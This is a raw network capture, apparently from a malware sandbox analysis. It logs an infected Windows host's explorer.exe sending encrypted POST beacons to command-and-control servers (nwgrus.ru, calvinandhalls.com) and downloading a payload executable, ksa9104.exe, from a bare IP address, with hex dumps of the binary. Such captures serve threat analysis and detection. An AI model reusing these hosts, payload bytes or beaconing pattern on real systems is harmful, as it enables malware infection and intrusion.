3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49740	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:02:07.777985096 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://seyshogepyribe.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 177 Host: nwgrus.ru
Sep 25, 2024 16:02:07.777998924 CEST	177	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 13 6b 2c 90 f5 76 0b 75 64 3c ac ed Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA -[k,vud<_%TnO"mTvarK8o}RQWe=<DHTXk*kJ0T{Q
Sep 25, 2024 16:02:09.265044928 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:02:08 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49752	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:03:19.973284960 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jjfnbkmpvhxjsu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 269 Host: nwgrus.ru
Sep 25, 2024 16:03:19.973320007 CEST	269	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 47 4a fe a1 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA .[k,vuGJeTT_VdEl2*\|q'QRVx[JV5>zre&?/%<6KHP;&Cn<4^bl=4s
Sep 25, 2024 16:03:21.252602100 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:03:21 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49753	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:03:30.185046911 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://btusdqnvtphf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: nwgrus.ru
Sep 25, 2024 16:03:30.185086966 CEST	344	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 66 00 b8 92 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA .[k,vuf]ykV 5b;1<ez!<:B8oQ\/HV_,2ph)9&E&ds;N-BW7B`^vOQ3x
Sep 25, 2024 16:03:31.755563974 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:03:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49754	116.58.10.60	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:03:43.811299086 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://utinkaubisghnyye.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 154 Host: nwgrus.ru
Sep 25, 2024 16:03:43.811331987 CEST	154	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 52 14 f9 e8 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA .[k,vuRE_8T4P${E"~nq0O'})Xda>Y
Sep 25, 2024 16:03:45.252703905 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:03:44 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49756	190.98.23.157	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:04:03.031873941 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jkjogobunqlid.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 114 Host: nwgrus.ru
Sep 25, 2024 16:04:03.031912088 CEST	114	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 4e 59 ba 9b Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA .[k,vuNY&BMkk;gN
Sep 25, 2024 16:04:04.581497908 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:04:04 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49758	190.98.23.157	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:04:25.663769960 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ohoqxgflpcpf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 297 Host: nwgrus.ru
Sep 25, 2024 16:04:25.663795948 CEST	297	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 28 24 d3 9b Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA .[k,vu($C~cJPuL[`?cgOhNeBZdQWdt{9+RH EKl$Sq(:,94yZFL:ygw?S5x
Sep 25, 2024 16:04:26.955331087 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:04:26 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49760	190.98.23.157	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:04:48.750010014 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rcdwkbgyoixtxr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 261 Host: nwgrus.ru
Sep 25, 2024 16:04:48.750046015 CEST	261	OUT	Data Raw: 3b 6e 22 10 f7 be 1b 27 d8 ae b5 01 75 06 0f cb 78 7f ce e0 69 06 91 12 0c 78 7f 91 44 b3 c2 1e 9f 2d ce 28 06 1d 2b 19 eb 9d 3f c2 23 31 de ed 7c d7 4a 37 ef 20 0f f7 4d 40 17 7f 4e e2 18 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 2e 38 e0 f8 Data Ascii: ;n"'uxixD-(+?#1\|J7 M@NA .[k,vu.8\%_H[ohH=!;+wT^IR=vX)$+fd_\?KJzEBX/"4rzu[(5F+A:Hi
Sep 25, 2024 16:04:50.037108898 CEST	151	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Wed, 25 Sep 2024 14:04:49 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49731	23.145.40.164	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:01:56 UTC	162	OUT	GET /ksa9104.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 23.145.40.164
2024-09-25 14:01:56 UTC	327	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:01:56 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff Last-Modified: Wed, 25 Sep 2024 14:00:02 GMT ETag: "65e00-622f209d3b9cb" Accept-Ranges: bytes Content-Length: 417280 Connection: close Content-Type: application/x-msdos-program
2024-09-25 14:01:56 UTC	7865	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4b b7 d9 41 0f d6 b7 12 0f d6 b7 12 0f d6 b7 12 60 a0 1c 12 17 d6 b7 12 60 a0 29 12 2f d6 b7 12 60 a0 1d 12 73 d6 b7 12 06 ae 24 12 06 d6 b7 12 0f d6 b6 12 9c d6 b7 12 60 a0 18 12 0e d6 b7 12 60 a0 2d 12 0e d6 b7 12 60 a0 2a 12 0e d6 b7 12 52 69 63 68 0f d6 b7 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4b 74 8f 65 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$KA``)/`s$``-`*RichPELKte
2024-09-25 14:01:56 UTC	8000	IN	Data Raw: d0 34 66 0f 7e c0 66 0f 54 05 d0 12 41 00 66 0f fa d0 66 0f d3 ca a9 00 08 00 00 74 4c 3d ff 0b 00 00 7c 7d 66 0f f3 ca 3d 32 0c 00 00 7f 0b 66 0f d6 4c 24 04 dd 44 24 04 c3 66 0f 2e ff 7b 24 ba ec 03 00 00 83 ec 10 89 54 24 0c 8b d4 83 c2 14 89 54 24 08 89 54 24 04 89 14 24 e8 6f 10 00 00 83 c4 10 dd 44 24 04 c3 f3 0f 7e 44 24 04 66 0f f3 ca 66 0f 28 d8 66 0f c2 c1 06 3d ff 03 00 00 7c 25 3d 32 04 00 00 7f b0 66 0f 54 05 a0 12 41 00 f2 0f 58 c8 66 0f d6 4c 24 04 dd 44 24 04 c3 dd 05 e0 12 41 00 c3 66 0f c2 1d c0 12 41 00 06 66 0f 54 1d a0 12 41 00 66 0f d6 5c 24 04 dd 44 24 04 c3 8b ff 55 8b ec 83 ec 10 a1 58 10 44 00 33 c5 89 45 fc 53 56 8b 75 0c f6 46 0c 40 57 0f 85 36 01 00 00 56 e8 ae 1a 00 00 59 bb 18 10 44 00 83 f8 ff 74 2e 56 e8 9d 1a 00 00 59 83 Data Ascii: 4f~fTAfftL=\|}f=2fL$D$f.{$T$T$T$$oD$~D$ff(f=\|%=2fTAXfL$D$AfAfTAf\$D$UXD3ESVuF@W6VYDt.VY
2024-09-25 14:01:56 UTC	8000	IN	Data Raw: 0d 58 5d c3 8b 04 cd e4 12 44 00 5d c3 05 44 ff ff ff 6a 0e 59 3b c8 1b c0 23 c1 83 c0 08 5d c3 e8 7a 24 00 00 85 c0 75 06 b8 48 14 44 00 c3 83 c0 08 c3 e8 67 24 00 00 85 c0 75 06 b8 4c 14 44 00 c3 83 c0 0c c3 8b ff 55 8b ec 56 e8 e2 ff ff ff 8b 4d 08 51 89 08 e8 82 ff ff ff 59 8b f0 e8 bc ff ff ff 89 30 5e 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 68 d0 4a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 58 10 44 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 58 10 44 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 Data Ascii: X]D]DjY;#]z$uHDg$uLDUVMQY0^]hJ@d5D$l$l$+SVWXD1E3PeuEEEEdMdY__^[]QUS]Vs35XDWEE{
2024-09-25 14:01:56 UTC	8000	IN	Data Raw: 3d 8f 00 00 c0 75 09 c7 46 64 86 00 00 00 eb 2e 3d 92 00 00 c0 75 09 c7 46 64 8a 00 00 00 eb 1e 3d b5 02 00 c0 75 09 c7 46 64 8d 00 00 00 eb 0e 3d b4 02 00 c0 75 07 c7 46 64 8e 00 00 00 ff 76 64 6a 08 ff d2 59 89 7e 64 eb 07 83 60 08 00 51 ff d2 59 89 5e 60 5b 83 c8 ff 5f 5e 5d c3 a1 08 c2 45 02 33 d2 85 c0 75 05 b8 a8 21 41 00 0f b7 08 83 f9 20 77 09 66 85 c9 74 28 85 d2 74 1c 83 f9 22 75 09 33 c9 85 d2 0f 94 c1 8b d1 83 c0 02 eb dc 66 83 f9 20 77 0b 83 c0 02 0f b7 08 66 85 c9 75 ef c3 8b ff 56 8b 35 e4 6d 44 00 57 33 ff 85 f6 75 1a 83 c8 ff e9 9d 00 00 00 66 83 f8 3d 74 01 47 56 e8 47 32 00 00 59 8d 74 46 02 0f b7 06 66 85 c0 75 e6 53 6a 04 47 57 e8 d8 e8 ff ff 8b d8 59 59 89 1d 10 6e 44 00 85 db 75 05 83 c8 ff eb 65 8b 35 e4 6d 44 00 eb 35 56 e8 0f 32 Data Ascii: =uFd.=uFd=uFd=uFdvdjY~d`QY^`[_^]E3u!A wft(t"u3f wfuV5mDW3uf=tGVG2YtFfuSjGWYYnDue5mD5V2
2024-09-25 14:01:56 UTC	8000	IN	Data Raw: 00 83 c4 44 53 ff 76 04 8d 85 fc fc ff ff 57 50 57 8d 85 fc fe ff ff 50 68 00 02 00 00 ff 76 0c 53 e8 53 3c 00 00 83 c4 24 33 c0 0f b7 8c 45 fc fa ff ff f6 c1 01 74 0e 80 4c 06 1d 10 8a 8c 05 fc fd ff ff eb 11 f6 c1 02 74 15 80 4c 06 1d 20 8a 8c 05 fc fc ff ff 88 8c 06 1d 01 00 00 eb 07 88 9c 06 1d 01 00 00 40 3b c7 72 bf eb 52 8d 86 1d 01 00 00 c7 85 e4 fa ff ff 9f ff ff ff 33 c9 29 85 e4 fa ff ff 8b 95 e4 fa ff ff 8d 84 0e 1d 01 00 00 03 d0 8d 5a 20 83 fb 19 77 0a 80 4c 0e 1d 10 8d 51 20 eb 0d 83 fa 19 77 0c 80 4c 0e 1d 20 8d 51 e0 88 10 eb 03 c6 00 00 41 3b cf 72 c6 8b 4d fc 5f 33 cd 5b e8 34 bd ff ff c9 c3 6a 0c 68 08 fc 43 00 e8 1d c1 ff ff e8 b9 e5 ff ff 8b f8 a1 d0 1a 44 00 85 47 70 74 1d 83 7f 6c 00 74 17 8b 77 68 85 f6 75 08 6a 20 e8 b4 c5 ff ff Data Ascii: DSvWPWPhvSS<$3EtLtL @;rR3)Z wLQ wL QA;rM_3[4jhCDGptltwhuj
2024-09-25 14:01:56 UTC	8000	IN	Data Raw: 10 75 13 38 5d f4 74 07 8b 45 f0 83 60 70 fd 33 c0 e9 bf 01 00 00 8b 45 ec 39 58 08 75 26 ff 75 10 ff 75 0c ff 75 08 e8 5b 31 00 00 83 c4 0c 38 5d f4 0f 84 9d 01 00 00 8b 4d f0 83 61 70 fd e9 91 01 00 00 39 5d 08 75 26 e8 12 a2 ff ff c7 00 16 00 00 00 e8 b5 a1 ff ff 38 5d f4 74 07 8b 45 f0 83 60 70 fd b8 ff ff ff 7f e9 66 01 00 00 57 8b 7d 0c 3b fb 75 26 e8 e4 a1 ff ff c7 00 16 00 00 00 e8 87 a1 ff ff 38 5d f4 74 07 8b 45 f0 83 60 70 fd b8 ff ff ff 7f e9 37 01 00 00 56 8b 4d 08 0f b6 09 ff 4d 10 ff 45 08 0f b6 d1 f6 44 02 1d 04 89 4d f8 74 65 39 5d 10 75 19 0f b6 0f f6 44 01 1d 04 89 5d f8 0f 85 f8 00 00 00 66 8b f3 e9 d6 00 00 00 8b 55 08 8a 12 3a d3 75 05 89 5d f8 eb 54 c1 e1 08 0f b6 d2 66 0b ca ff 45 08 0f b7 c9 66 8b f1 89 4d f8 66 3b 70 10 72 0c 66 Data Ascii: u8]tE`p3E9Xu&uuu[18]Map9]u&8]tE`pfW};u&8]tE`p7VMMEDMte9]uD]fU:u]TfEfMf;prf
2024-09-25 14:01:56 UTC	8000	IN	Data Raw: ff ff 76 44 e8 51 9c ff ff ff 76 48 e8 49 9c ff ff ff 76 4c e8 41 9c ff ff ff 76 50 e8 39 9c ff ff ff 76 54 e8 31 9c ff ff ff 76 58 e8 29 9c ff ff ff 76 5c e8 21 9c ff ff ff 76 60 e8 19 9c ff ff ff 76 64 e8 11 9c ff ff ff 76 68 e8 09 9c ff ff ff 76 6c e8 01 9c ff ff ff 76 70 e8 f9 9b ff ff ff 76 74 e8 f1 9b ff ff ff 76 78 e8 e9 9b ff ff ff 76 7c e8 e1 9b ff ff 83 c4 40 ff b6 80 00 00 00 e8 d3 9b ff ff ff b6 84 00 00 00 e8 c8 9b ff ff ff b6 88 00 00 00 e8 bd 9b ff ff ff b6 8c 00 00 00 e8 b2 9b ff ff ff b6 90 00 00 00 e8 a7 9b ff ff ff b6 94 00 00 00 e8 9c 9b ff ff ff b6 98 00 00 00 e8 91 9b ff ff ff b6 9c 00 00 00 e8 86 9b ff ff ff b6 a0 00 00 00 e8 7b 9b ff ff ff b6 a4 00 00 00 e8 70 9b ff ff ff b6 a8 00 00 00 e8 65 9b ff ff ff b6 bc 00 00 00 e8 5a 9b ff Data Ascii: vDQvHIvLAvP9vT1vX)v\!v`vdvhvlvpvtvxv\|@{peZ
2024-09-25 14:01:56 UTC	8000	IN	Data Raw: 0f 7f 67 40 66 0f 7f 6f 50 66 0f 7f 77 60 66 0f 7f 7f 70 8d b6 80 00 00 00 8d bf 80 00 00 00 4a 75 a3 85 c9 74 49 8b d1 c1 ea 04 85 d2 74 17 8d 9b 00 00 00 00 66 0f 6f 06 66 0f 7f 07 8d 76 10 8d 7f 10 4a 75 ef 83 e1 0f 74 24 8b c1 c1 e9 02 74 0d 8b 16 89 17 8d 76 04 8d 7f 04 49 75 f3 8b c8 83 e1 03 74 09 8a 06 88 07 46 47 49 75 f7 58 5e 5f 5d c3 ba 10 00 00 00 2b d0 2b ca 51 8b c2 8b c8 83 e1 03 74 09 8a 16 88 17 46 47 49 75 f7 c1 e8 02 74 0d 8b 16 89 17 8d 76 04 8d 7f 04 48 75 f3 59 e9 0b ff ff ff 33 c0 50 50 6a 03 50 6a 03 68 00 00 00 40 68 58 47 41 00 ff 15 14 11 41 00 a3 20 20 44 00 c3 a1 20 20 44 00 83 f8 ff 74 0c 83 f8 fe 74 07 50 ff 15 f4 11 41 00 c3 cc cc cc cc cc cc cc cc cc 51 8d 4c 24 08 2b c8 83 e1 0f 03 c1 1b c9 0b c1 59 e9 8a db ff ff 51 8d Data Ascii: g@foPfw`fpJutItfofvJut$tvIutFGIuX^_]++QtFGIutvHuY3PPjPjh@hXGAA D DttPAQL$+YQ
2024-09-25 14:01:56 UTC	8000	IN	Data Raw: 00 01 00 eb 06 81 ca 00 00 02 00 f7 c3 00 10 00 00 74 06 81 ca 00 00 04 00 89 55 0c 8b c2 33 f6 39 35 ac b0 45 02 0f 84 8d 01 00 00 81 e7 1f 03 08 03 89 7d ec 0f ae 5d f0 8b 45 f0 84 c0 79 03 6a 10 5e a9 00 02 00 00 74 03 83 ce 08 a9 00 04 00 00 74 03 83 ce 04 a9 00 08 00 00 74 03 83 ce 02 a9 00 10 00 00 74 03 83 ce 01 a9 00 01 00 00 74 06 81 ce 00 00 08 00 8b c8 bb 00 60 00 00 23 cb 74 2a 81 f9 00 20 00 00 74 1c 81 f9 00 40 00 00 74 0c 3b cb 75 16 81 ce 00 03 00 00 eb 0e 81 ce 00 02 00 00 eb 06 81 ce 00 01 00 00 bf 40 80 00 00 23 c7 83 e8 40 74 1c 2d c0 7f 00 00 74 0d 83 e8 40 75 16 81 ce 00 00 00 01 eb 0e 81 ce 00 00 00 03 eb 06 81 ce 00 00 00 02 8b 45 ec 8b d0 23 45 08 f7 d2 23 d6 0b d0 3b d6 75 07 8b c6 e9 b0 00 00 00 e8 13 fd ff ff 50 89 45 f4 e8 58 Data Ascii: tU395E}]Eyj^ttttt`#t* t@t;u@#@t-t@uE#E#;uPEX
2024-09-25 14:01:56 UTC	8000	IN	Data Raw: 00 00 00 00 00 f3 3f 00 00 00 bc 0a 47 ec 3f dc 61 6a 09 e8 69 39 3e 00 00 00 00 00 80 f3 3f 00 00 00 54 7c ac ec 3f 27 5c 1b f2 7c 23 3c 3e 00 00 00 00 00 00 f4 3f 00 00 00 24 e2 0e ed 3f ce 7d b2 64 6a 88 23 3e 00 00 00 00 00 80 f4 3f 00 00 00 cc 57 6e ed 3f d7 88 13 4d 56 78 3a 3e 00 00 00 00 00 00 f5 3f 00 00 00 2c f8 ca ed 3f 31 8d 19 38 6f 1a 2c 3e 00 00 00 00 00 80 f5 3f 00 00 00 44 dd 24 ee 3f 09 63 bd 2f ba 0a 19 3e 00 00 00 00 00 00 f6 3f 00 00 00 40 20 7c ee 3f 94 f5 78 37 7c a8 31 3e 00 00 00 00 00 80 f6 3f 00 00 00 7c d9 d0 ee 3f 1c d6 d9 1e 39 08 12 3e 00 00 00 00 00 00 f7 3f 00 00 00 70 20 23 ef 3f 8c 49 41 8d 8b 75 3d 3e 00 00 00 00 00 80 f7 3f 00 00 00 d0 0b 73 ef 3f 88 78 00 d9 b4 0f 34 3e 00 00 00 00 00 00 f8 3f 00 00 00 70 b1 c0 ef 3f Data Ascii: ?G?aji9>?T\|?'\\|#<>?$?}dj#>?Wn?MVx:>?,?18o,>?D$?c/>?@ \|?x7\|1>?\|?9>?p #?IAu=>?s?x4>?p?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49741	23.145.40.162	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:02:20 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://nmesrodehsvre.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 181 Host: calvinandhalls.com
2024-09-25 14:02:20 UTC	181	OUT	Data Raw: 72 19 84 be ff 0e 15 8c 6e 87 e1 1f 33 84 61 28 ad 80 b3 d0 17 07 44 86 72 01 c1 e3 ef d5 42 9b 7c 9b b7 f4 73 88 a2 80 f5 0a d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 42 da 77 bc 84 a3 5b 11 b7 1e 34 9d 5f 92 f7 0a 30 a9 01 38 6d b0 b1 e2 74 f8 a5 45 6f d4 bc 3c 98 5e 49 95 ce 1c 3c 3e 6b 2b 26 dc 63 d2 95 90 4f f3 bd 4d 0f 35 e1 6b 57 da 49 77 f9 fb 99 ab 0e 25 c2 5d e5 4d 99 0e 37 81 39 dc 40 5a 56 7a 49 fc d0 4b e7 87 3d ca 4b 3a e2 c0 9d 21 c1 97 56 8e 8c 8d b6 31 03 Data Ascii: rn3a(DrB\|s(#%P g3iqH[CLj4%<Bw[4_08mtEo<^I<>k+&cOM5kWIw%]M79@ZVzIK=K:!V1
2024-09-25 14:02:20 UTC	294	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 14:02:20 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Connection: close Transfer-Encoding: chunked
